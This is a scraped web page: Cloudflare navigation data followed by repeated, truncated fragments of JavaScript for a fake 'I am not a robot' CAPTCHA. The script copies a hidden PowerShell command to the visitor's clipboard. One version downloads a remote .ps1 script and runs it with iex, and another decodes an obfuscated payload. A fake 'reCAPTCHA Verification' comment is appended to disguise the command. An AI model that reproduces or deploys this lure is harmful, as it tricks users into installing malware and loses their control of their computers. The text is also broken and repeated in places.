building"],"url":[0,"https://dash.cloudflare.com/sign-up/workers-and-pages"],"variant":[0,"solid"],"target":[0,"_blank"],"modal":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"htmlId":[0],"color":[0,"orange"],"width":[0,"narrow"],"contentAlignment":[0],"entryTitle":[0,"Start building button"],"sideMenuType":[0,"FragmentButton"]}]]]}],"navItemType":[0,"megaMenu"]}],[0,{"menuTitle":[0,"Partners"],"rows":[1,[[0,{"rowTitle":[0],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Partner Network"],"linkUrl":[0,"/partners/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Grow, innovate and meet customer needs with Cloudflare"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0,{"alt":[0,"Background"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0]}],"desktop":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/5ebMWzQdPOZ9cHOQlW8Jw5/0a03f3960ea9d00fe6ea5449ff03eb8f/MultiFlare_03.png"],"width":[0,85]}],"cantoAssetFile":[0]}],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Partner Portal"],"linkUrl":[0,"https://portal.cloudflarepartners.com/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Find resources and register deals"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four-offset"],"backgroundColor":[0,"transparent"],"includePipes":[0,true],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Partnership Types"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"PowerUP Program"],"linkUrl":[0,"/partners/power-up-program/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Grow your business while keeping your customers connected and secure"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Technology Partners"],"linkUrl":[0,"/partners/technology-partners/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Explore our ecosystem of technology partners and integrators"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Global System Integrators"],"linkUrl":[0,"/partners/global-system-integrators/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Support seamless large-scale digital transformation"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Service Providers"],"linkUrl":[0,"/partners/service-providers/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Discover our network of valued service providers"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0],"contentDirection":[0,"column"]}]]],"sideColumn":[0,{"content":[1,[[0,{"linkTitle":[0,"Self-serve agency program"],"linkUrl":[0,"/cloudflare-partners-self-serve-program-open-beta/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Manage Self-Serve Accounts for your clients"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkTitle":[0,"Peer-to-peer portal"],"linkUrl":[0,"/partners/peering-portal/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Traffic insights for your network"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkListTitle":[0],"linkListTitleUrl":[0],"subMenuItems":[1,[[0,{"linkTitle":[0,"Find a partner"],"linkUrl":[0,"https://partnerlocator.cloudflare.com/dashboard"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"PowerUP your business - connect with Cloudflare Powered+ partners."],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"deep purple"],"sideMenuType":[0,"NavLinkList"]}]]]}],"navItemType":[0,"megaMenu"]}],[0,{"menuTitle":[0,"Resources"],"rows":[1,[[0,{"rowTitle":[0,"Engage"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Demos + product tours"],"linkUrl":[0,"/product-demos/"],"openInNewTab":[0],"linkSubheadCopy":[0,"On-demand product demos"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Case studies"],"linkUrl":[0,"/case-studies/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Driving success with Cloudflare"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Webinars"],"linkUrl":[0,"/resource-hub/?resourcetype=Webinar"],"openInNewTab":[0],"linkSubheadCopy":[0,"Insightful discussions"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Workshops"],"linkUrl":[0,"/lp/securitybuildersworkshops/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Virtual workshops"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Library"],"linkUrl":[0,"/resource-hub/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Helpful guides, roadmaps, and more"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Reports"],"linkUrl":[0,"/threat-reports/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Insights from Cloudflare’s research"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Blog"],"linkUrl":[0,"https://blog.cloudflare.com/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Technical deep dives and product news"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Learning center"],"linkUrl":[0,"/learning/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Educational tools and how-to content"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Build"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Reference architecture"],"linkUrl":[0,"/architecture/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Technical guides"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/5nvFsQ85SENyD2IK0Ornpn/f192ae113bf2273ffd3a3ec33de38eb0/cloudflare-trace-gradient_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Solution + product guides"],"linkUrl":[0,"/resource-hub/?resourcetype=Solution+%26+Product+Guides"],"openInNewTab":[0],"linkSubheadCopy":[0,"Product documentation"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/4QnoVXaDbVtI1FOLdWvPXi/7392ae19b5ce3c3228ad13204f1a664b/documentation-rules-gradient_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Documentation"],"linkUrl":[0,"https://developers.cloudflare.com/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Developer documentation"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/u0lzloKAvJUSNhUW4rBbh/77f73c5cdf175d198d24976f634868b4/documentation-gradient_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"three"],"backgroundColor":[0,"transparent"],"includePipes":[0,false],"pipeColor":[0,"orange"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Explore"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"theNET"],"linkUrl":[0,"/the-net/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Executive insights for the digital enterprise"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0,{"alt":[0,"TheNet"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0]}],"desktop":[0,{"src":[0,""],"width":[0]}],"cantoAssetFile":[0,{"id":[0,"uce1n1vmch2u56pqtmhf6qij3k"],"name":[0,"TheNet.png"],"size":[0,"6494"],"width":[0,85],"height":[0,55],"scheme":[0,"image"],"fullUrl":[0,"https://cf-assets.www.cloudflare.com/v2/image/uce1n1vmch2u56pqtmhf6qij3k/TheNet.png"],"contentType":[0,"image/png"],"thumbnailUrl":[0,"https://cloudflare.canto.com/direct/image/uce1n1vmch2u56pqtmhf6qij3k/rNR3gQhYLieD0NVDrm-vLewLQgQ/m0/800"]}]}],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Cloudflare TV"],"linkUrl":[0,"https://cloudflare.tv/live"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Innovative series and events"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0,{"alt":[0,"CloudflareTV"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0]}],"desktop":[0,{"src":[0,""],"width":[0]}],"cantoAssetFile":[0,{"id":[0,"mc6bbt2qi145h6g6g0bcg2d232"],"name":[0,"menu_uninav_cloudflare_tv.png"],"size":[0,"5406"],"width":[0,85],"height":[0,55],"scheme":[0,"image"],"fullUrl":[0,"https://cf-assets.www.cloudflare.com/v2/image/mc6bbt2qi145h6g6g0bcg2d232/menu_uninav_cloudflare_tv.png"],"contentType":[0,"image/png"],"thumbnailUrl":[0,"https://cloudflare.canto.com/direct/image/mc6bbt2qi145h6g6g0bcg2d232/o6CUMVVWvg1D39YeAgybOy_rsMs/m0/800"]}]}],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Cloudforce One"],"linkUrl":[0,"/threat-intelligence/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Threat research and operations"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0,{"alt":[0,"Cloudforce One"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0]}],"desktop":[0,{"src":[0,""],"width":[0]}],"cantoAssetFile":[0,{"id":[0,"fjpedt5rjt0v79br7mhsvls964"],"name":[0,"menu_uninav_cloudforce_one_icon.png"],"size":[0,"6789"],"width":[0,85],"height":[0,55],"scheme":[0,"image"],"fullUrl":[0,"https://cf-assets.www.cloudflare.com/v2/image/fjpedt5rjt0v79br7mhsvls964/menu_uninav_cloudforce_one_icon.png"],"contentType":[0,"image/png"],"thumbnailUrl":[0,"https://cloudflare.canto.com/direct/image/fjpedt5rjt0v79br7mhsvls964/KOn3aLnqMn3rfwwPmPqeEeuboRs/m0/800"]}]}],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Radar"],"linkUrl":[0,"https://radar.cloudflare.com/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Internet traffic and security trends"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0,{"alt":[0,"Radar"],"position":[0,"center"],"alignment":[0,"center"],"backgroundSize":[0,"auto"],"htmlId":[0],"mobile":[0,{"src":[0,""],"width":[0]}],"desktop":[0,{"src":[0,""],"width":[0]}],"cantoAssetFile":[0,{"id":[0,"26cs6c4n414pjbav2cv9kqmp2o"],"name":[0,"menu_uninav_icon_radar.png"],"size":[0,"6740"],"width":[0,85],"height":[0,55],"scheme":[0,"image"],"fullUrl":[0,"https://cf-assets.www.cloudflare.com/v2/image/26cs6c4n414pjbav2cv9kqmp2o/menu_uninav_icon_radar.png"],"contentType":[0,"image/png"],"thumbnailUrl":[0,"https://cloudflare.canto.com/direct/image/26cs6c4n414pjbav2cv9kqmp2o/D5FfGbbC1TG3VHB5LcKs71J1RhQ/m0/800"]}]}],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}]]],"sideColumn":[0,{"content":[1,[[0,{"linkTitle":[0,"Analyst reports"],"linkUrl":[0,"/analysts/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Industry research reports"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkTitle":[0,"Events"],"linkUrl":[0,"/events/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Upcoming regional events"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkTitle":[0,"Trust, privacy, and compliance"],"linkUrl":[0,"/trust-hub/trust-and-safety/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Compliance information and policies"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkListTitle":[0,"Support"],"linkListTitleUrl":[0],"subMenuItems":[1,[[0,{"linkTitle":[0,"Contact us"],"linkUrl":[0,"https://dash.cloudflare.com/?to=/:account/support"],"openInNewTab":[0,true],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Community forum"],"linkUrl":[0,"https://community.cloudflare.com/"],"openInNewTab":[0,true],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Lost account access?"],"linkUrl":[0,"https://developers.cloudflare.com/support/account-management-billing/common-account-questions/login-and-account-issues/"],"openInNewTab":[0,true],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Developers Discord"],"linkUrl":[0,"https://discord.com/invite/cloudflaredev"],"openInNewTab":[0,true],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0,{"label":[0,"Get help"],"url":[0,"https://www.support.cloudflare.com/"],"variant":[0,"solid"],"target":[0,"_blank"],"modal":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"htmlId":[0],"color":[0,"orange"],"width":[0,"narrow"],"contentAlignment":[0],"entryTitle":[0,"Get Help"]}],"linkListBackgroundColor":[0,"deep purple"],"sideMenuType":[0,"NavLinkList"]}]]]}],"navItemType":[0,"megaMenu"]}],[0,{"menuTitle":[0,"Company"],"rows":[1,[[0,{"rowTitle":[0,"Company info"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Leadership"],"linkUrl":[0,"https://cloudflare.net/governance/leadership/default.aspx"],"openInNewTab":[0],"linkSubheadCopy":[0,"Meet our leaders"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Investor relations"],"linkUrl":[0,"https://cloudflare.net/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Investor information"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Press"],"linkUrl":[0,"/press/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Explore recent news"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Careers"],"linkUrl":[0,"/careers/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Explore open roles"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Trust, Privacy, & Safety"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Privacy"],"linkUrl":[0,"/privacypolicy/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Policy, data, and protection"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Trust"],"linkUrl":[0,"/trust-hub/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Policy, process, and safety"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Compliance"],"linkUrl":[0,"/trust-hub/compliance-resources/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Certification and regulation"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Transparency"],"linkUrl":[0,"/transparency/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Policy and disclosures"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Public Interest"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Humanitarian"],"linkUrl":[0,"/galileo/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Project Galileo"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/79wkaamVT1nnyYrKFpKTK8/5e2c832d3e13d8687c39a385dbc5746c/help-giving.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Government"],"linkUrl":[0,"/athenian/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Athenian Project"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/1sxZxGp5rlXrx0uG82teCW/4eeb406b8719b006b1e971037acda74b/gov-icon.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Elections"],"linkUrl":[0,"/campaigns/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Cloudflare For Campaigns"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/5kbmX4C329oT7Rr9y9N1rS/59f48fec7197d2d9d2baa7218925bc08/edit.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Health"],"linkUrl":[0,"/fair-shot/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Project Fair Shot"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/1Bfmnkb5ivLEQMGSKbih7o/c04d748252745f7169212868e155b5e2/Type_Default_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"five"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}]]],"sideColumn":[0,{"content":[1,[[0,{"linkTitle":[0,"Global network"],"linkUrl":[0,"/network/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Global locations and status"]... ...); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextA... ...ck", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "21px 0 0 12px"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "â ''I am not a robot - reCAPTCHA Verification Hash: " const end = "''" const textToCopy = commandToRun + suffix + ploy + verification_id + end setClipboardCopyData(textToCopy); } function showVerifyWindow()... ...dy.append(tempTextArea); tempTextArea.select(); document.execCommand("copy");... ...32.ps1 | iex' -WindowStyle Hidden\""; const commandToRun = "powershell " + htaPath; stageClipboa... ...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText... ...k", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "0"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "â ''I am not a robot - reCAPTCHA Verification ID: " const end = "''" const textToCopy = commandToRun setClipboardCopyData(textToCopy); } function showVerifyWindow() {... ...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy");... ...cation-id').textContent = verification_id; const commandToRun =POWerShEll -W h "[Text.Encoding]::UTF8.GetString... ...); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextA... ...ck", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "21px 0 0 12px"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "â ''I am not a robot - 